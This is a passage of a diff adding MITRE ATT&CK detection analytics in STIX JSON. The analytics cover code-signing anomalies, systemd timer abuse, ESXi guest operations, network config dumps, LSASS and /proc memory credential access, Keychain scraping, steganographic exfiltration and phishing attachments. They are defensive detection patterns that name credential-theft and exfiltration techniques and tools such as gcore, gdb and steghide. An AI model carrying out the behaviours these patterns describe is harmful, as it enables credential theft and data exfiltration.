"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedCertificateAuthorities", + "description": "Define trusted issuers to suppress noise from legitimate enterprise signing chains" + }, + { + "field": "TimeWindow", + "description": "Correlation window for detecting execution of binaries with newly observed or anomalous certificates" + }, + { + "field": "CertificateAgeThreshold", + "description": "Baseline normal age of certificates; flag very recent or expired certificates" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--969bd6a3-b89f-4279-9bd2-3fc461880308", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0230#AN0644", + "external_id": "AN0644" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0644", + "description": "Monitors Gatekeeper, spctl, and unified log entries for binaries executed with unexpected or untrusted signatures. Correlates file metadata changes with process launches where signature validation is skipped, altered, or fails but the process still executes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "Code signing verification failures or bypassed trust decisions" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of binaries with unsigned or anomalously signed certificates" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DeveloperIDAllowList", + "description": "Maintain list of expected Developer IDs to minimize false positives from enterprise apps" + }, + { + "field": "TimeWindow", + "description": "Correlates file signature changes with subsequent executions" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a80f58c9-deb2-45ed-a8fb-4f3df5082874", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0231#AN0645", + "external_id": "AN0645" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0645", + "description": "Detects adversarial abuse of systemd timers by correlating file creation/modification of .timer and .service units in system directories with the execution of abnormal child processes launched by 'systemd' (PID 1), especially as root.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "creat, open, write on /etc/systemd/system and /usr/lib/systemd/system" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve logging for /usr/bin/systemctl and systemd-run" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "linux:osquery", + "channel": "file_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimerIntervalThreshold", + "description": "The interval threshold used to determine if a newly created timer is unusually frequent or immediate (e.g., < 5 minutes)." + }, + { + "field": "ParentProcessID", + "description": "Whether the child process has a parent PID of 1, indicating systemd as the invoker. Can be tuned to include known benign cases." + }, + { + "field": "UserContext", + "description": "User under which the timer/service is created or executed (e.g., root vs. non-root)." + }, + { + "field": "TimerCreationPath", + "description": "The path where the timer or service file is created; system-wide vs. user space can be scoped." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f25cf3cf-53b8-4fa4-be4c-d0a7a02bf739", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0232#AN0646", + "external_id": "AN0646" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0646", + "description": "Detects anomalous usage of ESXi Guest Operations APIs such as StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, or InitiateFileTransferFromGuest. Defender perspective focuses on unusual frequency of guest API calls, invocation from unexpected management accounts, or execution outside of business hours. These correlated signals indicate adversarial abuse of ESXi administrative services to run commands on guest VMs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "esxi:hostd", + "channel": "Guest Operations API invocation: StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, InitiateFileTransferFromGuest" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExpectedAdminUsers", + "description": "Whitelist of management accounts authorized to use ESXi Guest Ops APIs." + }, + { + "field": "TimeWindow", + "description": "Business hours during which Guest Ops API usage is expected; activity outside may be suspicious." + }, + { + "field": "OperationThreshold", + "description": "Number of Guest Ops API calls considered anomalous if exceeded in a given timeframe." + }, + { + "field": "AuthorizedVMs", + "description": "List of VMs where Guest Ops usage is permitted; usage on other VMs may indicate malicious activity." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--58e73108-657e-42ce-8dad-4edc968a2b20", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0233#AN0647", + "external_id": "AN0647" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0647", + "description": "Defenders may observe adversary attempts to collect or export full device configurations by detecting unusual SNMP queries, Smart Install (SMI) activity, or CLI/API commands that request running or startup configuration dumps. Correlated behaviors include high-volume read requests for sensitive OIDs, repeated use of 'show running-config' or equivalent commands from untrusted IPs, or unexpected TFTP/SCP/FTP transfers containing configuration files. These behaviors often appear in sequence: anomalous authentication or privilege escalation, followed by bulk configuration retrieval and outbound transfer.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "networkdevice:syslog", + "channel": "Failed and successful logins to network devices outside approved admin IP ranges" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "Execution of commands like 'show running-config', 'copy running-config', or 'export config'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Outbound SCP, TFTP, or FTP sessions carrying configuration file content" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "snmp:access", + "channel": "GETBULK/GETNEXT requests for OIDs associated with configuration parameters" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedAdminIPs", + "description": "Known trusted IP addresses permitted to execute configuration dump commands." + }, + { + "field": "NormalConfigExportRate", + "description": "Baseline frequency of legitimate configuration exports; anomalies above threshold may indicate malicious activity." + }, + { + "field": "AllowedTransferProtocols", + "description": "Expected transfer methods (e.g., SCP vs. TFTP). Unexpected use of weak protocols may indicate exfiltration." + }, + { + "field": "TimeWindow", + "description": "Normal maintenance windows for authorized configuration exports; activity outside these windows may be suspicious." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5a5d5ff5-e2bb-4ba9-9f95-504c86b1a1cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0234#AN0648", + "external_id": "AN0648" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0648", + "description": "Processes accessing LSASS memory or SAM registry hives outside of trusted security tools, often followed by file creation or lateral movement. Detects unauthorized access to sensitive OS subsystems for credential extraction.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7", + "name": "WinEventLog:Security", + "channel": "EventCode=4662" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccessMask", + "description": "Set to detect full access rights (0x1F0FFF) or modify based on tool behavior." + }, + { + "field": "TimeWindow", + "description": "Define how soon access to LSASS is followed by suspicious file or registry activity." + }, + { + "field": "ParentProcessFilter", + "description": "Allowlist known security tools or system processes accessing LSASS." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--82cdec5a-52af-4489-b002-b0256e5ba60e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0234#AN0649", + "external_id": "AN0649" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0649", + "description": "Processes opening /proc/*/mem or /proc/*/maps targeting credential-storing services like sshd or login. Behavior often includes high privilege escalation and memory inspection tools such as gcore or gdb.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "auditd:SYSCALL", + "channel": "ptrace" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetProcessName", + "description": "Define sensitive targets (e.g., sshd, login) being memory-read." + }, + { + "field": "ToolProcessName", + "description": "Flag use of memory dump tools like gcore, gdb, pmap." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--29370f2b-0877-458c-8ade-a9a23b8fb7b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0234#AN0650", + "external_id": "AN0650" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0650", + "description": "Unsigned processes accessing system memory or launching known credential scraping tools (e.g., osascript, dylib injections) to access the Keychain or sensitive memory regions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "macos:unifiedlog", + "channel": "Code Execution & Entitlement Access" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:keychain", + "channel": "Access to Keychain DB or system.keychain" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "Invocation of osascript or dylib injection" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KeychainAccessPath", + "description": "Path to watch for abnormal access, e.g., /Library/Keychains/" + }, + { + "field": "SignedBinaryStatus", + "description": "Filter out signed/trusted binaries." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e7be37f1-88f9-45e3-91d0-1ff37bc94892", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0235#AN0651", + "external_id": "AN0651" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0651", + "description": "Detect the creation or modification of common media file formats (e.g., .jpg, .png, .wav) following suspicious process activity like compression or encryption, especially when paired with lateral movement or exfiltration behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Session Transfer Content" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FileExtensionFilter", + "description": "Allows tuning of monitored file types (e.g., .jpg, .png, .docx)." + }, + { + "field": "PayloadEntropyThreshold", + "description": "Threshold for flagging potential hidden data in outbound payloads." + }, + { + "field": "ExecutionToExfilTimeWindow", + "description": "Time window between media creation and network transmission." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--191d5ea7-ff08-4433-ba1b-1c0ed755ca67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0235#AN0652", + "external_id": "AN0652" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0652", + "description": "Unusual use of steganographic or media processing binaries (e.g., `steghide`, `ffmpeg`, `imagemagick`) followed by outbound communication to external IPs with high data output and media MIME types.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Captured File Content" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "NSM:Flow", + "channel": "Observed File Transfers" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ToolNameMatch", + "description": "Specify which binaries to monitor (e.g., steghide, outguess)." + }, + { + "field": "OutboundTrafficPattern", + "description": "Adjust based on known normal file upload services." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--eb6edb6d-9684-4ef7-96b2-13c087276d80", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0235#AN0653", + "external_id": "AN0653" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0653", + "description": "Abnormal usage of Preview, ImageMagick, or binary editors to alter images/documents, followed by exfiltration or outbound connections with mismatched file MIME types or payload structure.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unified", + "channel": "File creation" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "C2 exfiltration" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessBaseline", + "description": "Allow tuning based on expected apps calling image-editing tools." + }, + { + "field": "TimeDelta", + "description": "Gap between file manipulation and outbound connection." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--80caf81c-0714-4fa5-8b77-8e2144e316b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0235#AN0654", + "external_id": "AN0654" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0654", + "description": "Suspicious modification of file artifacts (e.g., logs, ISO templates) on ESXi datastores, followed by beaconing or POST operations to external IPs potentially hiding payloads in file-like traffic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "esxi:vmkernel", + "channel": "Storage access and file ops" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "esxi:hostd", + "channel": "Service initiated connections" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Transferred file observations" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilenamePattern", + "description": "Tune for likely stego file names (e.g., wallpaper.jpg, template.iso)." + }, + { + "field": "UnusualDestinationIP", + "description": "Destination outside vCenter management subnet." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--db6995d9-68ab-4638-a430-c0a8d2daf306", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0236#AN0655", + "external_id": "AN0655" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0655", + "description": "Detection of spearphishing attachments by correlating suspicious email delivery with subsequent file creation and abnormal process execution (e.g., Office spawning PowerShell or CMD). Behavior chain includes inbound email metadata \u2192 attachment stored on disk \u2192 process execution \u2192 outbound network activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Send/Receive: Inbound emails with attachments from suspicious or spoofed senders" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AttachmentExtensions", + "description": "List of high-risk extensions to monitor (e.g., .exe, .js, .vbs, .docm, .xlsm)." + }, + { + "field": "SuspiciousParentChildPairs", + "description": "Process lineage patterns considered malicious (e.g., winword.exe \u2192 powershell.exe)." + }, + { + "field": "TimeWindow", + "description": "Correlation window between email receipt, file creation, and process execution." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--02309791-384c-4ca9-b25c-6a6bc754795f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0236#AN0656", + "external_id": "AN0656" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0656", + "description": "Phishing attachments executed on Linux systems are detected by linking email logs to file creation in mail directories and subsequent suspicious process execution. Look for unexpected binaries or scripts spawned from user mail directories and anomalous outbound network activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application:Mail", + "channel": "Inbound email attachments logged from MTAs with suspicious metadata" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of files saved in mail or download directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Outbound traffic from suspicious new processes post-attachment execution" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AttachmentStoragePaths", + "description": "Monitored directories for email attachments (e.g., /var/mail, ~/Maildir, ~/Downloads)." + }, + { + "field": "ScriptInterpreters", + "description": "List of interpreters to monitor when spawned by mail clients (e.g., bash, python, perl)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7a6192b4-997a-4526-bb3d-76664bc31274", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0236#AN0657", + "external_id": "AN0657" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0657", + "description": "Phishing attachment detection on macOS through correlation of Mail app logs, file creation in user directories, and abnormal process execution (e.g., Preview.app or Mail.app spawning Terminal or scripting binaries). Network traffic after attachment interaction is also monitored.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Inbound messages with attachments from suspicious domains" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of Terminal, osascript, or other interpreters originating from Mail or Preview" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "Attachment files written to ~/Downloads or temporary folders" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutionDelayThreshold", + "description": "Time delay between attachment download and execution considered suspicious." + }, + { + "field": "SuspiciousParentApps", + "description": "Parent processes expected to rarely spawn child processes (e.g., Mail.app, Preview.app)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--98f8728d-ff74-47cb-b884-25071a21f77e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0237#AN0658", + "external_id": "AN0658" + } + ], + 